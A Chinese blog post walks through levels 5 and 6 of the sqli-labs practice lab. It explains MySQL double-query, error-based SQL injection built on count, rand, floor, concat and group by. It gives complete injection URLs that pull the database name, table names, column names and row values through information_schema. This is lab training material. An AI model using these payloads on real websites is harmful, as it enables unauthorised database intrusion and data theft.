美文网首页
sqli-labs level5-6 双查询注入

sqli-labs level5-6 双查询注入

作者: z1挂东南 | 来源:发表于2019-07-25 13:13 被阅读0次

目录

  1. 双查询
  2. 基本函数
  3. 双查询注入原理
  4. sqli-labs5-6关做法

0.前言

最近在做sqli-labs的靶场,做到5、6关的时候看起来像是盲注,尝试了一下extractvalue报错注入可以直接报错就过去了,但是回过头看题目时发现题目是双查询注入,并不是报错注入,也就是说作者的本意是让我们使用双查询注入来做这两关,这就触及到我的知识盲区了(之前并没有做过双查询注入,甚至都没听过),马上网上搜一下,找了一些表哥的教程,这里记录一下。

1.双查询

双查询注入就是select语句中再嵌套一个select语句,再查询时会先执行嵌套在里面的select语句,然后在执行外面的select语句。如下图


1.png

2.基本函数

使用双查询注入的时候要使用一些基本函数:count()、rand()、floor()、concat()以及group by语句。

①count()

count()函数的作用是统计数量,如下图


2.png
②rand()

默认产生一个0-1随机数,如果没有参数,则每次产生的随机数都不同;如果有参数,则每次产生的随机数相同,不同的参数会有不同的结果。
没有参数:


3.png

参数是1:


4.png

参数是14:


5.png
③floor()

向下取整,返回小于或等于参数的最大整数。


6.png
④concat()

拼接字符串。


7.png
⑤group by

根据指定的参数对查询结果进行分类。


8.png

3.双查询注入原理

使用group by结合rand函数以及像count(*)这样的聚合函数,在SQL查询时会出现错误,这种错误时随机产生的,这就产生了双重查询注入。比如:
select count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a;

9.png

这里会出现报错,在报错的同时也会将查询结果显示出来,这样我们就得到了想要的信息。上面的as a是给concat(0x7e,(select database()),floor(rand(14)*2),0x7e)起了一个别名a。
rand()函数里面的参数最好用14,具体原因看这篇文章(https://blog.csdn.net/wn314/article/details/89297560)。rand(14)的取值范围是[0,1),rand(14)2的取值范围是[0,2),那么floor(rand(14)2)的取值就是0或1。

4.sqli-labs 5-6关做法

第五关:

①查数据库名:?id=1' union select 1,count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+

10.png

②查表名:?id=1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+

11.png

③查字段名:?id=1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+

12.png

④查值:?id=1' union select 1,count(*),concat(0x7e,(select id from emails limit 0,1),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+

13.png
第六关

第六关和第五关的基本思路一样,把第五关中的单引号换成双引号就行了。


参考链接:

1.Mysql中Double Injection原理浅析
2.Double SQL Injection(双查询注入)
3.详细讲解双查询注入

相关文章

  • sqli-labs level5-6 双查询注入

    目录 双查询 基本函数 双查询注入原理 sqli-labs5-6关做法 0.前言 最近在做sqli-labs的靶场...

  • Mysql手工注入

    整理一下手工注入笔记,以sqli-labs环境为例。 1.Mysql手工union联合查询注入 输入单引号,页面报...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • Sqli-Labs:Less5-Less6

    Less5 双注入_GET_单引号_字符型注入 我们来看什么是双查询注入: 0x01. 子查询 先理解一下子查询,...

  • sqli-labs level58-61 双查询注入

    第五十八关 双查询注入,单引号闭合,三个字段。?id=1.1' union select 1,count(*),c...

  • sql注入之双查询注入

    在另外一篇文章中,用到了双查询注入,特在此详细讲解一下双查询注入。 另一篇文章传送门:sql注入那些事儿——如何优...

  • sqlmap的使用

    摘要:使用sqlmap注入本地搭建的sqli-labs过程记录 学习SQL 注入,一直在手注,关于工具的使用的学习...

  • 20200227 SQL注入及杂事

    报错型注入 昨天学了基于时间型和基于布尔型的盲注,今天整个报错型的注入 基本分为: 双查询注入 基于extract...

  • 重新温习SQL注入:sqli-labs

    SQLi-Labs是一个专业的SQL注入练习平台,对SQL注入有些生疏了,近期打算拿它再练练手。 原始github...

  • 网络安全学习资源

    漏洞基础原理 SQL注入 sqli-labs 项目地址:https://github.com/Audi-1/sql...

网友评论

      本文标题:sqli-labs level5-6 双查询注入

      本文链接:https://www.haomeiwen.com/subject/ifvcrctx.html